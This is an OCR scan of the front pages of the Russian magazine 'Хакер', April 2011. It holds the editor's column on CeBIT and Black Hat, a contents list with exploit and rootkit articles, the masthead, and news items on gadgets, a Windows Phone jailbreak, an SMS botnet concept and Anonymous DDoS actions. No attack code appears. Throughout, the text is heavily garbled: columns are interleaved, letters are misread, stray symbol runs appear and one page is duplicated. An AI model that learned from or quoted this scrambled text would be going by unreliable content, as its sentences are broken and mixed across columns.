Page 1

DNS-ТУННЕЛИНГ: ПРАКТИЧЕСКАЯ РЕАЛИЗАЦИЯ СТР. 54


ч,!!!.ц;)'

о =­ п ::с

rrl=--=-

1 1 === I!I ~ ID -~-

. :::::-0::UJ::I:;"!fJ- ' J;:=-"-

=-.= а ==-

Securoty World Bus,n"ss Communicalions & Networks

Н,

I '1

Halll2J13. Р 32/ЗЗ/11А·В. Ореп·а" 5,!е

00=

~ :::::-

Planel Res"lIer

Поездка на CeBIT пришлась на самое неудоб­ ное для меня время: начало марта

-

это разгар

Ha1114/15

сконцентрированное представление об общи х тенденция х на рынке и у видеть в одном месте

сдачи апрельского номера, и нужно иметь очень

куч у самы х разнообразныхлюдей : начиная с

вескую причину, чтобы покинуть редакцию в этот период. Но знаменитый CeBIT, прошедший

СЕО крупны х компаний и заканчивая юными

за последние

20 лет путь от ярмарки пылесосов до одной из главных IT -выставок мира, несо­

брать х алявны х блокнотиков .

мненно, такой причиной является .

Раз ужя заговорил про выставки и конферен­ ции, никак нельзя обойти вниманием и другое недавнее событие, которому посвящена об­ ложка этого номера . Речь идет, понятное дело, о конференции Black Hat, которая прошла не­ давно в Вашингтоне и особенно знаменательна тем, что на ней выступал в роли докладчика наш постоянный автор Саша Поляков. Аплодирую Штуке ру и рекомендую тебе немедленно про­ листать журнал до 64 страницы, чтобы ознако­

4200 компаний из 70 сч!ан, 340 000 посетителей 2 со всего мира, з80 000 м стендов с новейшим железом и софтом. Но главное - отличная площадка для общения с представителями ве­ дущих IT -компаний и большой журналистской братией . Благо уютный Ганновер с аутентичным немецким пивом располагает.

Лично для меня это и стало главным итогом поездки: все-таки СеВIТужедавно нето ме­ сто, от которого ждешь каких-то сюрпризов

и неожиданных ярких релизов. Тут все давно очень размеренно и ожидаемо . По сути, это просто огромная выставка, где можно получить

ганноверскими дрочерами, зашедшими подна­

миться с его черно-шляпным отчетом .

Приятного чтения l

nikitozz, гл. ред. Х udaLite.LivejournaL.com


Content Сцена . 080 GeoHotvs Sony

MegaNews

004

Все новое за последний месяц

Один против корпорации

Ferrum .

016

и нфраструк-тура в сумке

Тестирование ноутбука

018

ЮниксоЙд . 084 Записки криптонавта

Samsung 9-й серии

Готов к работе

Осваиваем защиту данных в

Тестирование моноблоков

090

РС Zone . 023- Колонка редактора

Настройка. оптимизация работы и обес п ечение безопасности Samba-клиента

095

Анализатор поверхности атаки

024

Приручить

Kindle

Какдешево купить и круто проапгрейдить электронную читалкуот

Двух с-тупенчатая авторизация от

Google

Кодинr . 100 Си на стероида х

105

новой технологии

Ар х ите к-тура

11 О

это не предел

Google Россия

116

Lotusphere 2011

NativeAPI на примере шелла

Программерс к иетипсы и три ксы

SYN/ACK .

Коллективная работа в глаза х IBM

120

Вэnом . 038 Easy-Hack

О х ота на покупателя Выбираем

126

Хакерские секреты простых вещей

CRM дЛЯ своей организации

Вир-туальная реальность по-русски Осваиваем виртуализациюуровня ОС на при мере

Обзорэксплоитов

132

Анализ свеженьких уязвимостей

048

Шелл для синего экрана

Uп it -те стирование в С++

Евгением Соколовым

042

Прокачай свою реальность!

Изучае м программирование на

Беседа с главой московского цент ра разработок

037

Go

Augmented reality длятерминаторов инетолько

Facebook

500 миллион о в пользователей -

034

Ubuntu отхлама

Знакомимся с языком про граммирования

Защищаем доступ к Google/Gmail-аккаунту с помощью

030

Диета для пингвина Чистим свежеустановленный

Amazon

028

BSD

Бразильский танец с бубном

OpenVZ

Азбука серверной Оборудуем серверную комнату для ком п аний малого

Tjat.com: Финальный удар

и среднего бизнеса

Эпический взлом знаменитого IСQ-шлюза

054

DNS. Обратная связь

Юниты 136 Потаенные уголки свер х сознания

Обходим преграды и организовываем доступ в Сеть

060

Кошачьи игры Н овый подход к анализу безопасности маршрутизаторов

064

Welcome to BlackHat! Отчетс популярной хакерской конференции

070

X-Tools

Дьявольские руткиты

Александр Эккерт рассказывает о гiпgО-руткитах

В з рываем эвристи ку Методы обхода эвристики

140

FAQUNITED

143

Диско 8.5

MALWARE .

076

Истина где-то рядом

БольшойFАQ

П рограммы для взлома

072

Мифы и реалии паранормальных способностей человека.

Cisco

Symantec. McAfee и Trend Micro

144

Гб всякой всячины

WWW2 Удобные web-сервисы


028 Двухступенчатая авторизация от Google Н ова ятехнол о г ия ДЛЯ за щ иты доступ к Google-аккаунту

064 Welcome to BlackHat! Отчете популярной хакерекой ко н фере н ци и

Дьявольские руткиты Александр Эккерт рассказывает О гiпgО-руткитах

/РЕДАКЦИЯ

/ART

>Гnавный редактор

>Арт-директор

Никита

«nikitozz» Кислицин

Оксана Алехина falekhinataglc.ruJ

Евгений НОВИКОВ

InikitozlOreat.xakep.rul

>Верстаnьщмк

Елена Поликарпова

>ВыпускаlOщиii редактор

Вера Светлых

>Администратор

/PUBLISHING

>Директор корпоративной группы

В ЗЛОМ Дмитрий« fогЬ » Докучаев

110 rblO геа I.ха ke р . ru 1 PC_ZONE и UNITS Степан

«ste p» ИЛЬИН [steplOrea I . ха kep. ru 1 К ОДИНГ ,

MALWARE и SYN/ACK

Александр « Ог. Кlouniz » Лозовский

[а lexa nd е rlO геа 1. ха kep. ru 1

UNIXOID

и

PSYC HO

Андрей c< Andгushock » Матвеев

[andrushocklOreal.xakep.rul >Литературныii редактор Анна Аранчук

Вып ускаю щи й редактор Степан

«5t ep» ИЛЬИН

[steplO геа I.ха ke р . ru 1 Uп iх -р аз д ел Антон

«Ant » Жуков (antitster0gma'il.com]

Sесuгitу-раздел Дмитрий

«01 91 » Евдокимов

[evdokimovdslOgmail.coml Монтаж видео

Максим Трубицын >Редактор

xakep.ru

Леонид Боголюбов [xa0гeal.xakep.ru!

по подписке

новые подписки : [4951545-09-06 Телефон отдела подписки для жителей Москвы: [4951663-82-77 Телефон для жителей регионов и для звонков с мобильныхтелефонов:

(gameJland >Учредитеnь

ООО «Гейм Лэнд»,

115280, Москва, ул.Ленинс­ кая Слобода, 19, Омега плаза, 5 зтаж, офис N9 21 Тел,: [4951935-7034, факс : [4951545-0906 >Генераnьный директор Дмитрий Агарунов >Генераnьный иэдатель

Денис Калинин >Зам. генерального издателя

Андрей Михайлюк >Редакционныii директор Дмитрий Ладыженский

>Фмнансовый директор Андрей Фатеркин >Директор ПО персонаnу

Татьяна Гудебская

>DVD

[polikarpovalOglc.rul

Юлия Малыгина [maligina0gLc.ruJ

Н и кола й «gorL»AHApeeB

Igorlu m10 геа 1. ха ke р . ru 1 >Редакторы рубрик

> Горячая линия

Факс для отправки купонов и квитанций на >Менедж:ер

>Директор по маркетинry

Елена Каркашадзе >Гnавныйдмэайнер

(работа с рекnамными агентствами) Лидия Стрекнева [streknevalOglc.rul

>Дnяписем

>Старwие менеджеры

Зарегистрировано в Министерстве

Ирина Краснокутекая

Российской Федерации поделам печати,

Наталья Озира

телерадиовещанию и средствам массовых

Сергей Кучерявый

Тел .:

[4951935-7034, факс: [4951545-0906 /РЕКЛАМНЫЙ ОТДЕЛ >Директор 'руппы ТECHMOLOGY

Марина Комлева

[komlevalOglc.rul

>Старwие менеАЖеры

Ольга Емельянцева

10lgaemllOglc.rul

Главпочтамт, а/я

Кристина Татаренкова

коммуникаций ПИ Я

Отпечатано втипографии

Надежда Гончарова

Польша.

652, Хакер

77- 11802 от 14.02.2002 «Zapolex»,

>Старwиii трафик-менеджер

Тираж

Марья Алексеева lalekseevalOglc.rul > Директор по продаже peкnaMЫ на МАМ ТУ

Мнение редакции не обязательно совпадает

Марина Румянцева

с мнением авторов. Все материалы в

176 394 зкземпляров .

номере предоставляются как информация к

/ОТДЕЛ РЕАЛИЗАЦИИ

размышлению. Лица, использующие данную

СПЕЦПРОЕКТDВ

информацию в противозаконных целях,

>Директор

могутбыть при влечены кответственности.

Александр Коренфельд

Редакция не несеТQтветственности за

>МенеАЖеры

содержание рекламных объявлений в

Александр Гурьяшкин

номере. За перепечатку наших материалов

Светлана Мюллер

без спроса

-

преследуем. По вопросам

лицензирования и получения прав на

/РАСПРОСТРАНЕНИЕ >Директор по Дистрибуции

/РАЗМЕЩЕНИЕ РЕКЛАМЫ

101000, Москва,

>Менеджер

Энди Терн булл >Дмректор по проиэводству

8-800-200-3-999

использование редакционных материалов

журнала обращайтесь по адресу:

content0gk.ru

Кошелева Татьяна (kosheleva0g1c.ruJ

> Руководитель отдела подписки Гончарова Марина

> Руководитель спецраспространения Лукичева Наталья

> Претензии идополнительная инфа: В случае возникновения вопросов по качест­

вупечати и DVD-дисков:

claim0g1c.ru.

© 000 «Гейм Лзнд»,

РФ,

201 1


1&,gёbl~IW~1 М а р и я (, M ifr il l» Н е ф е д о ва (mifгiШilге а L. х а k ер . гu )

е

anews

ЗАРЯДКА «ПРОСТО ДОБАВЬ ВОДЫI» Безумные концепты автономных зарядных устройств Iнапример, ра ­ ботающие на Cola 'e, фекалия х или в св я з ке с педальным привоДомl не такая уж редкость, но беда в том, ЧТО о ни редко оказыва ются работоспо­ собны. Устр ойство под назван ием Powertrekk тоже отличает некоторая гикнутость , н о, как ни странно , д евайс пр и это м вполне готов к выходу н а

больш ой рынок. Powertrekk - это беспроводная п ортативная топлив ­ ная ячейка , в которой роль топливного элемента испол ня ет сме нны й картридж с си лицидом натрия, производящий водород, который реком­

бинируется с кислородом в протон-обменной мембране . В ходе этого безо п асного химического процесса производится ток в 1000 мА. Та к как п роц есс непрерывен, а в устрой стве также пр едусмотрена аккумулятор­

ная батарея на 1600 мА , получается, что Powertrekk «заряже н » постоян ­ но . Говоря прост ым человече ски м языком, чтобы использовать устрой­ ство, н уж но лишь вставить в него картридж и д обавить воды. Диаметр

практически любое устр ойство, которое у меет питаться от USB. Хотя

картриджа 52 мм, высота - 19 мм и он весит в сего 30 г. Чтобы получить 4

Powe rtrekk не является концептом Iэто реально существую щий и рабо ­

Вт/ч электроэнергии, необходимо 15 мл воды. Д евайсу не н уж н о подза­

таю щий дева йсl , и уже даж е есть информаци я, что картриджи для него

ряжаться о т с ети, а з начит, его мо ж н о использовать вдали от цивилиза­

будут продав аться по 5, 1О и 24 шт. в у паковке, до сих пор не названы ни

ции, где пр осто нет электричества. Ко рп ус Powertrekk, кстати, устойч ив к

це ны, ни даты выхода

ударам и является вод о непр оницае мым. Заряжать от Powe rtrekk м ожно

но, так как у этого девайса о пред еленно есть п оте нциал.

"" "

Powertrekk в продажу. Надеемся, что это времен­

Портал Arstechnica приводит интересную статистику: порядка

30% раздач на крупных торрент-трекерах - мусор, специально созданный

антипиратами (для борьбы с Р2Р и усложнения жизни пользователям).

ПРЕДСТАВЛЕН

IPAD 2

соб н а записывать видео в разрешении 720р, и фронтальной, благодаря кото рой стало возможно видеообщение ч ерез

FaceTime. Увеличилась и

об щая пр оиз водительностьустрой ства, ведьза скромн ыми габаритами скрывается новейший двухьядерный проце ссо р А5 , который в два раза

быстрее и вдевять раз более производителен при обработке графи к и

по сравне нию со с воим предшественником 'А41. Экран , аккумулятор lи, соответстве нно , время «ж и з ни » от одно го полного заряда l, а также цены остали сь без изменений. iPad 2 представлен в двух цветовы х варианта х

- черном и белом, а привнести некоторое ра знооб разие призваны новые чехлы Smartcover всех цветов радуг и . Этот любопытный и п олезный ак­ сессуа р нетолько защищает эк ран, но и м ожет с вернуться « в трубочку » и служить подставкой , а та кже автоматически включает

iPad при откры т ии.

Изготавливаются че х лы из полиуретана 1$391 или кожи 1$691. Также сто ит Итак, све ршило с ь долгожданное для многих со бытие - компа ни я Apple

упо м януть и второй новый аксессуа р -

пр едставила п ублике

1080р. Он автоматически заряжает iPad 'а также iPhone 4 и iPod touch l

iPad 2 и ра ссказала, какие изменения претерп ел

п опулярный планшетни к. В первую очередь об новлени я коснулись

НDМI-пер еход н ик с поддержкой

п ри просмотре видео , стоит $39. В продажу iPad 2 поступит уже в конце

габаритов устройства: корпус стал тоньше на целых 33% 18.8 мм - это

марта. Н а всякий случай нап о минаем п о рядок цен : модели с Wi-Fi - $499

даже меньше, чем у iphone 41, плюс девай с п оле гчал на 10%. Не с м от ря на

за 16-гигабайтную , $599 за 32-гигабайтную и $699 за 64-ги га байтную

это, теперь iPad оснащается сразу двумя камерами : задней , которая с п о-

вер сии. Модели с Wi - Fi и 3G - $6 29, $729 и $829 соответствен но .

~

004

ХАКЕР о.

/ 147 / 20 11


11\'Щ1~IМ1 М а рия

« Mifrill»

Н е фед о ва ImifгшraгеаL .х аkер . гul

е

anews

ЗАРЯДКА «ПРОСТО ДОБАВЬ ВОДЫI» Безумные ко нц е пт ы автономных заряд н ых устройств Iнапример, ра­ ботающие на Cola'e, фекалиях или в связке с педальным привоДомl не такая уж редкость, но беда в том, что они редко оказываются работоспо­ собны. Устройство под названием

Powertrekk тоже отличает некоторая

гикнутость, но, как ни странно, девайс при этом вполне готов к выходу на

большой рынок. Powertrekk - это беспроводная портатив ная топлив­ ная ячейка, в которой рольтопливн ого элемента исполняет смен ный картридж с сили цидом натрия, производящий водород, кото ры й р еком­

бинируется с кислородом в протон- обме нной мембране. В ходе это го безопасного химичес кого процесса производится ток в 1000 мА. Так как процесс непрерывен, а в устр ойстве также предусмотрена аккумулятор­ ная батарея на

1600 мА, получается, что Powertrekk «з аряжен» по стоян­

но. Говоря прост ым ч еловеческим яз ык ом, чтобы использовать устрой ­ ство, н уж н о лишь вставить в него картри дж и добавить воды. Диаметр картриджа 52 мм, высота -

19 мм и он весит всего 30 г. Ч тобы получить 4

практически любое уст р ойство, кото рое умеет питаться от USB. Хотя

Poweгtrekk не является концептом Iэто реально существующий и рабо­

Вт/ч электроэне рг ии, необходимо 15 мл воды . Девай су не нужно подза ­

таю щий де вайсl, и уже даже есть инфо рмация, что карт р иджи для него

ря жаться отсети, а значит, его можно использовать вдали от цивилиза­

будут продаваться по 5,1 О и 24 шт. в упаковке, до сих пор не назван ы ни

ции, где просто нет электричества. Корпус Powertrek k, кстати, устойчив к

цены, ни дат ы выхода

ударам и яв ляетс я водонепр оницае мым. Заряжать от Powertrekk можно

но, так как у этого девайса определенно ест ь потенциал.

"" "

Powe rtrekk в продажу. Н адеемся, что это времен­

Портал Arstechnica приводит интересную статистику: порядка

30% раздач на крупных торрент-трекерах - мусор, специально созданный

антипиратами (для борьбы с Р2Р и усложнения жизни пользователям).

ПРЕДСТАВЛЕН

IPAD 2

соб на зап и сывать видео в разрешении 720р , и фронтальной, бла годаря которой ста ло возможно видеообщение через Face Time. Уве лич илась и общая производительность устройства, ведь за скро мными габари тами ск рываетс я н овейший двухъядерный процессор А5, которы й в два раза

быстрее и в девять раз более произв одителен при обработке графики

п о с равнению со своим предшественнико м I А41. Экран, аккумулятор lи, соответственно , время « жизни » ОТ одного п олного з арядаl, а также цены остались без изменений. iPad 2 пр едставлен в двух цветовых вариантах

- черном и белом , а при внести некоторое разнообразие при з ваны новые че хлы Smartcover всех цв етов радуги . Этот любопытный и полезный ак­ сессуар не только защищает экран, но и можетсвернуться « в трубочку» и служить подставкой , а также автоматиче ск и в ключа ет iPad при открыт ии .

И згота вливаются чехлы из п олиу р етана 1$391 или кожи 1$691. Также сто ит Итак, свершилось дол гожданное для мн огих собы ти е - ком пан ия Apple

у п омя нуть и второй новый аксессуар

пр е д стави л а публике iPad 2 и рассказала, какие и змене ния претерпел

1080р. Он автоматически за ряжает iPad lа также iРhопе 4 и iPod touch l

- НDМI -пе р еходник с поддержкой

популярн ый пл аншетник. В первую очередь обновлен ия коснулись

при про с мотре видео, стои т$ 39. В продажуiРаd 2 посту пит уже в ко нце

габаритов устройства: корпус стал тоньше на целых 33% 18.8 мм - это

марта. На всякий случай н апоми на ем порядок цен: модели с Wi-Fi - $499

даже меньше, чем у iрhопе 41, п люс д евайс полегчал н а 10%. Н есмотря на

з а 1 6- гигабайтную, $599 за 32-гигабайтную и $699 за 64-г игаба йтную

это, теперь

версии. Модели cWi- Fi и 3G - $629, $729 и $829 соответственно .

~

004

iPad осна щается сразу двумя камерами: задней, которая спо-

ХАКЕР

04/147 /2 011


НОВАЯ «ЧИТАЛКА» ОТ WEXLER Рынок устройств для чтения последние год ы рос в геометрической прогрессии. Если пару лет назад при подборе ридера обычно сетовали на скудный выбор, то теперь возникает обратная проблема

- слож но сориентироваться в изобилии девайсов. По­

зволь немного помочь тебе в этом вопросе, познакомив с ридером

Wexler.book Е5001 .

Н овая «чи талка » oTWexler построена вокруг пятидюйм ового ди сплея 1600х800), выполненного на основ е технол о гии злектронных чернил E-ink. Основной козырь данной технологии - н изкое энергопотребл ение: около месяца от одного заряда

аккумулятора Iпри интенсивном чте н ии заряда хватает более чем на 11 000 страниц). Читать с Wexler.book Е5001 можно практически что угодно, так как электронная книга понимает в се наиболее распро стра ненные и востребованные форматы. На дисплее

шестнадцать градаций серого Iкстати, неплохо смотрится и те хническая литература

с иллюстрациями, и черно-белые комиксы :) ). Девайс оснащается встроенной памя- ~ тью на 4 Гб 'В этот объе м можно уместить до 200 000 книг) , которая при желании может

r

быть расширена до 20 Гб за счет в н ешних карто чек формата Micr050 . Но помим о хорошей « начинки» ридер может похва статься и прекрасным экстерьером. На выбор предлагается один из десяти ярких, необычных цветов алюминиевого кор пуса, кото­ рый дополнительно за щищает и украшает обложка из натуральной кожи с удобным

креплением. С компьютером все зто счастье соединяется через порт mini- U5B, а прослушать аудиокниги, музыку и F М -радио мож н о с помощь ю удобных нау ш ников .

Рекомендованная цена девай са - 5990 рублей.

»

Мiсrоsоft рапортует о первых успехах обновленной мобильной платформы

-

уже продано более 2млн аппаратов на базе Windows Рhопе 7.

ДВА ЭКРАНА ЛУЧШЕ, ЧЕМ ОДИН Соmmuпiсаtiопs представили Апdгоid-смартфон

Девайс от компании Fujitsu еще хитрее. Его

Куосега Echo, оснащенный двумя сенсорными

точные технические характеристики пока не

экранами размером п03.5дюЙма каждый и

назван ы , так как Fujitsu продемонстрировала

разрешением 800 х 480. М а ш инка полу ч илась

н а выставке MWC 20 11 Fujitsu лишь прототип,

довольно мощная: процессор Oualcomm

но уже сейчас ясно , что этот аппарат имеет куда

5парdгаgоп 0508650 11 ГГц) , 512 Мб оперативной

большие возможно ст и трансформации. Благо­

памяти IRAM), 1 Гб флэш-памяти. Также нали­

даря общемускладномуоснованию располагать

чествуют подцержка micr050 Iдо 32 Г б), камера

экраны можно как параллельнодруг другу, так и

разрешением 5 Мп с автофокусом и вс п ышкой ,

п ерпендикулярно, а также можно поворачивать

бес п роводные адаптеры Wi- Fi и

их один относител ьно другого . Дисплеи, кстати ,

Bluetooth, ак­

селерометр, цифр овой компас, GP5. Но главная

тоже сенсорные и примерно того же размера,

фишка, это, конечно, два дисплея . Одновремен­

чтоу Куосега Echo. Прототип пока раб отает под

но на каждом из них могут выполняться разные

управлением 5уmЫап, но известно, что ко ммер­

задачи, и один может служить продолжением

че ск ий вариант будетуправляться Апdгоid.

В скором будущем нас ожидает нашествие

другого. Н апример, на од н ом экра н е может

Что касается цен - Куосега Есhоуже продается

смартфонов, укомплектованных сразу двумя

отображаться виртуальная клавиатура, а н а

на территории С Ш А по цене $200, но зто при

зкранами. В последнее время п оявились анонсы

другом - вкладка браузера. В комплект поставки

условии заключения контракта с оператором со­

двух подобных устройств - от компаний Fujitsu

устройства входяттакже запасная батарея, док-

товой связи надва года . В нашей стране устрой­

и Куосега Соmmuпiсаtiопs. Японцы из Куосега

станция и карта памяти объемом 8 Гб.

ство врядли будет стоить меньше $800-1 000.

ХАКЕР-РЕАЛИТИ в последнее время тема хакеров 'В исконном понимании этого слова) и стала весьма популярной. Н апример, о

IT

Facebook сняли фильм , успешно

премьера первого в мире реалити-шоу о хакерах. Программа, которую пла н ируюттранслировать ежед н ев н о, будет повествовать о тяжелых

заработавший себе пару Оскаров, а про Wiki leaks и Ассанджа не писал

рабочих буд н ях

и не говорил только ленивый. Очевидно, компания LIGATT 5ecurity

Iпtегпаtiопаl) - например, о борьбе с сетевыми угрозами , поиске уязви­

IT -безопасников IB лице сотрудников LI GАП Security

Iпtегпаtiопаl, работающая в сфере компьютерной безопасности, решила

мастей и с пособах борьбы с ними. По словам исполнительного директора

не упускать возможность попиариться на волне интереса к «компьютер­

компании Грегори Эванса, телевизионщики очень заинтересовались про­

ному миру», И из зто го желания родился довольно любопытный проект.

ектом и дали «зеле н ый свет», однако точную дату выхода шоу и н азвание

В скором будущем на од н ом из америка н ск и х телеканалов состоится

телеканала, который взялся за его съемки, Эванс пока называть не стал.

~

006

ХАКЕР

0 4/ 1471 20 1 1


МIСRОSОFТ И NOKIA - НОВЫЙ АЛЬЯНС Рынок мобильных устройств взбудоражила

ся. Также ходили н еприятные с лухи о « похо ­

новость о заключении партнерства между

ронах» совместной разработки Iпtеl и

двумя гигантами - софтверным и телекомму­

открытой платформы

Nokia -

MeeGo, но они , ксчастью,

никационным . Впрочем , не сам фактсотруд­

пока не подтвердились. Что н ам готов ит столь

ничества между Nokia и Mi crosoft всколыхнул

те сное партнер ство, и каких ждать изменений?

массы !само по себе это не ново ст ь, начало

Пока известно не так много подробностей, как

альянсу было положено давно], а известие о

хотелось бы , вот некоторые их них: П ОИСКОВ ЫЙ

том, чт о их партнерство разрастается , переходя

движок Вi пg и с истема ко н текстной р екламы

от мелочей вроде совместной разработки Office

аdСепtегтеперь станут базовыми для устройств

Mobile к более глобаль ным проектам. В част­

и сервисов

ности, стало известно, что Nokia очень ско ро

очередь, станет основой для картографических

Nokia . Служба Nokia Maps, в свою

планирует начать выпуск телефон ов на базе

сервисов

Windows Рhопе 7, и в ближайшем будущем WP7

Nokia Sto re и Microsoft Marketplace объеди нят­

станет основной ОС для финских аппаратов. В

ся в единую службу. РазработчикиУ1 специали­

Mic rosoft. Магазин ы прил ожен ий

связи с эти м тр убок на платформе SуmЬiап ста­

сты

нет значи те льн о меньше, хотя о тка з ыв а т ься от

участие в работе над пл атформой

Nokia будут принимать непосредственное

«Симбиана» полностью ком п ания не собирает-

Рhопе.

Windows

MoziHa опубликовала первые результаты работы программы премирования пользователей. 3а два неполных месяца юзеры нашли уязвимостей на $40 0001 И это с учетом того, что «стандартная» выплата за ошибку равна примерно $500, а самые сочные баги оцениваются в $3000. "" "

АНАЛОГ, УХОДИ! Цифровое телевидение - звучит гордо, НО в России с ним з на комы в основ ном понаслышке. Дел о в том, что вещание в нашей стране до сих

пор ведется по большей части в аналогово м р ежиме. Тем не ме н ее,

планы у нас традиционно далекоидущие к 2015 году Россия Iкстати, как и Китай] планирует перейти на цифровое телевидение полностью. Н о как ускорить этот процесс , чтобы уложиться в сроки и сделать его безболез­ ненным? Н едавно свет на этот вопрос пролил глава Минком связ и И горь Щеголев. Он сооб щил, что в ско ром времени пла нируется п одготовить зако нопроект, согласно которому будет установлен запрет на ввоз и про­ изводство в Ро ссии телевизионн ы х приемников, не поддерживающих цифровой сигнал. Говоря прост ы м языком, те л ев и зо р ы без п оддерж ки «цифры» запретят. «Мы выбрали мягкий способ отключения аналогово­ го вещания,

- подчеркивает Щеголев, - это произойдеттолько тогда,

когда у большинства граждан будет доступ к ци ф ров ому сигналу». Спор­ ное заяв л ение, учиты вая , что в этой же дискуссии обсуждали сь и спец и ­ альные цифровые ТВ-приставки, которые придется покупатьлюдям,

чьи теле визоры внезапно окажутся аутсайдерами. Данные девайсы, якобы, будут со п оставимы п о ц ене с обы ч ны м м об и л ьником, а льготны е

категории населения даже получат субсидии на их покупку. Разумеется, уже есть прототипы этих устройств российского производства, при по­ мощи которых можно будет не только смот реть телевизор, но и выходить

в интернет, а также IHY ко н ечно l ] пользоваться ус л угами электронного правительства. Впереди большие затраты. Н о вот скажи, а нужно ли это цифр овое ТВ тебе? Вот и мы не уверены.

~

008

ХАКЕР

04 1 14 7 1 2 01 1


ВТОРОЙ ДЖЕЙЛБРЕЙК ДЛЯ WP7? Интере с ный с л ух прош е л недавн о п о Се ти :

fi;

-

а

х

якобы гр у ппа ра з раб отчи к ов п о д р уко в о д ­

I

ством Джулиана Чепмена го т о вит к р е л изу софтин у под названием Wind ows Ph one 7

Device Manager. Вся с оль в т о м, что со гл а сно заявлениям ра з р а ботчиков, д а нн ое ПО

-

.Windows' Phone

по з волит н е только установить на т е л ефо н

l

~

--

Manage Applications

~ у:,

inst,,11 and uninstllll Windows Phone applications

Explore Device

стор о нние прило же ния, но и п ом о же т п о ­

View and

л у чить досту п к з акрытым о т люб о пы тных гл а з и шаловливы х р у ч ек ра зд елам О С -

-

в

S

ча стно с ти, к фа й л о в о й с истеме. Д а , п олуча ­

ет с я, что Wind ows Ph one 7 Device Manager есть не что ин о е , ка к вто р о й джей л брейкдля

r:::i

Windows Phone 7 [п е рвы м был Сh еv гоп W P7),

сору

files (гот

ог

to your Wi ndows Phone

Launch Zune Use Zune software to sync music, pnoto5 and videos with уоиг Windows Phone

Lock Device Уои г

dM ce is

сuпепt ly

unlocked

о днак о тут ес ть небольшая з агв озд ка. Ч еп­ мен и его к о ллеги являют с я пр о тивн и ка ми

Settings

пиратства , в буду щ е м над е ются на дли ­ тельн ое и благопол у чн ое сотр уднич ест во с

Micros oft и , в об щем -то, н е с тавили себе ц ели

Configu re Windows Phone Device Manager

НТС НО7

создавать дж е Йлбр еЙк. Так чт о п олноц ен н ого рели з а программы мож н о ож ид а ть т о л ько

после вы х ода 5ervice Pack 1 дл я Wind ows

с п особы ухода о т систе м ы верификации.

про и сходит автоматиче ск и пос ле каждой

Ph one 7, к о торый ож ид аетс я в са м ом скором

Д ет ищ е Чепмена и Ко п озво л яет о ткрывать

связи с с е рвером обновл е ний [кажд ы е две

врем е ни . П ок а д осту п на то льк о бе та -в е р сия

и зак ры в а ть сис тему вериф и кации, ч т об ы

недели ), та к что е с л и поль з ователь х о ч е т и с ­

пр о ги, найти к ото р ую можно п о а др есу

юзе р мо г снова активи р о в ать функцию пр о-

по л ьзовать с мартфо н в режиме откл ю ч ен н ой

touchxperience .com . И з и нте ре с н ых н юа н сов

ве р к и пр о г рамм на подли н н ость. Д ело в том,

верификации, ему придется перезап уск а т ь

работы пр о граммы м ож н о о тм е тит ь н о вы е

что вкл ю ч е н ие сис темы вер и фика ц ии WP7

пр ограмму мин и мум раз в две недели.

" " За прошлый год Роскомнадзор нашел в электронных СМИ целых 45 " комментариев, содержащих намеки на экстремизм (их следовало отредактировать или удалить). С ума сойти, сколько работы у этих людей.

SМS-БОТНЕТ Мобильные устройства - лако мы й кусо ч ек дл я х а ке р о в , что нагл я дн о п одтв е рждает стати­ стика : количеств о мал варя, ориентир о ванн о го на м о б и л ь ные де вай с ы , р астет де н ь ото дня. Однако , если строишь ботн ет в м о бильны х сетя х , н уж ны не сколь ко отличны е ото б ы чны х схе мы распр о странения «зара з ы » И управл е ни я зо м б и-с еть ю. IР - пр отокол врядл и явля етс я в данно м сл учае оптимальным вариантом, ведь м о бильны е р е сурс ы ск р ом ны и о гр анич е нны, а р аб ота с IР - протоколом получа ется неудо бн о й ин е выгодн ой - та кую активн ость л е гко об н а руж ить .

Зато если использоватьдля черны х ха ке р с ки х делиш ек стек 5М 5 - сооб ще ни й с об работчи ком ­ ботом, анализирующим в х одящие с ообще ния и выполня ю щ и м ос н о вны е фу нкции узл а б отн ета

[OD05-атака , рассылка спама, устан о вка н о вы х фу нкци й и та к дал ее ) , как б ыл о пр едл ожен о на конференции 5hmооСоп 2011 , п олуч аетс я уже лучш е. Пр едставл е нны й ко нце пт 5 М 5-ботнета, продемонстрированный п о ка на прим е р еАпdго id, им еет кла сс ич ескую ие р а рх ич ес кую структуру - управляющий бот, ра с пределяющий и п одчин е нны й. П р и это м с р едний у р о в е нь и з ащищает « вер хушку» отобнаруже ния , служа с во еобра з ным буф е р о м , и п е р еда ет ко манды у правляющего бота ни жним з в е ньям це пи . П ока един ственны е минус ы, кото ры е видитв с во ем прототипе автор , - немалая в еро ятн ость о бн а руже ния стр а нн ой акти вн ости м об ильными о п е ­ раторами, а та кже н е большая длин а 5 М 5-сооб ще ни й , из-за кото р ой длинн ы е ко м а нды при­ ходитс я кодировать . В о стальн о м схе ма ра б отос п особ н а и , м ож н о сказ ат ь , удоб н а. Ксожале нию

[или к с ча стью ?), автор не п ожел ал выкладыв ат ь в се и сходни к и и нара ботки в от крытый досту п, так как не х очет лишни х пробл е м . Впр о ч е м, со в се ми жела ю щими э нтуз и астами и раз работчи ­

ками он все же обещал п оделиться, нуж н о лишь п о про с ить . П о ч итать п од р о б н ости, п осмот реть

видео и ознакомиться с кодом мож н о в бл о ге а вто р а: gгmпООЬs.соm/2011/01/30/smагtрhопе­

code-release-for-shmoocon .

~

010

ХАКЕР

04 /1 4 71 2011


АНОНИМУС НЕ ПРОЩАЕТ Ты наверняка слы шал о масштабных акциях про­ tecтa, которые устраивались

«хактивистами » ИЗ

The

Апопуmоus пару месяцев

-___ _ ___ _-_ --_ __ _ _ __ __--------_._ _ _ _---_---- -........ ._ ....- ...

... _ _ • _ _ _ ......... _

у

_

• _ _ •• _

назад во время пика шумихи

.. _

..... -................. ,.. ............ .......... .......-_................ ... _,.,....... ..- ..... .. ...--... _ ....... .. .......--........ .. _ _ ... _- -.. ....... ... .. _

у

BOKpyrWikiLeaks. Если же

_-~

... _

- - - _ . .. _ _ ... _ .. _ _ . _ -

нет, то поясняем

..... _ . ... . _

..... .... _

_

у

ломали и терроризировали

_._-----~

~.:'.::=,::::~ !-

_ - , - " _,,, _

парни

... _ _ _ _ .. _ _ _ _ _

... ·........- ........................ . ----. . .---.-.. ---_ - .. . -010-. .... - .................. ............... . . .__ . .I y.... _ . . - . . _

-

устраива ли DD05-атаки,

-- _ " _ "_ --'У_.

_-I_ ~~

___ _

,

...... _

.. _ _ ... _

у

как целые организа ции,

... _ .... _~ _ _. _.. _ . _

.. _ _ _ _ _

выступающие против

Ассанджа и его сайта Iп од раздачу попали

PayPal, Mastercard, Ц еркви Сайентологии, а

